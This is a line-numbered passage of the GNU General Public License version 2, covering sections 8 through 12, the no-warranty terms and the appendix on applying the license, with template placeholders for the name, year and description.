218 | integrity of the free software distribution system, which is
219 | implemented by public license practices.  Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 | 
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 | 
229 |   8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded.  In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 | 
237 |   9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time.  Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 | 
242 | Each version is given a distinguishing version number.  If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation.  If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 | 
250 |   10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission.  For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this.  Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 | 
258 |                             NO WARRANTY
259 | 
260 |   11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 | 
270 |   12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 | 
280 |                      END OF TERMS AND CONDITIONS
281 | 
282 |             How to Apply These Terms to Your New Programs
283 | 
284 |   If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 | 
288 |   To do so, attach the following notices to the program.  It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 | 
293 |     {description}
294 |     Copyright (C) {year}  {fullname}
295 | 
296 |     This program is free software; you can redistribute it and/or modify
297 |     it under the terms of the GNU General Public License as published by
298 |     the Free Software Foundation; either version 2 of the License, or
299 |     (at your option) any later version.
300 | 
301 |     This program is distributed in the hope that it will be useful,
302 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
303 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
304 |     GNU General Public License for more details.
305 | 
306 |     You should have received a copy of the GNU General Public License along
307 |     with this program; if not, write to the Free Software Foundation, Inc.,
308 |     51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 | 
310 | Also add information on how to contact you by electronic and paper mail.
311 | 
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 | 
315 |     Gnomovision version 69, Copyright (C) year name of author
316 |     Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 |     This is free software, and you are welcome to redistribute it
318 |     under certain conditions; type `show c' for details.
319 | 
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License.  Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 | 
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary.  Here is a sample; alter the names:
328 | 
329 |   Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 |   `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 | 
332 |   {signature of Ty Coon}, 1 April 1989
333 |   Ty Coon, President of Vice
334 | 
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs.  If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library.  If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 | 


--------------------------------------------------------------------------------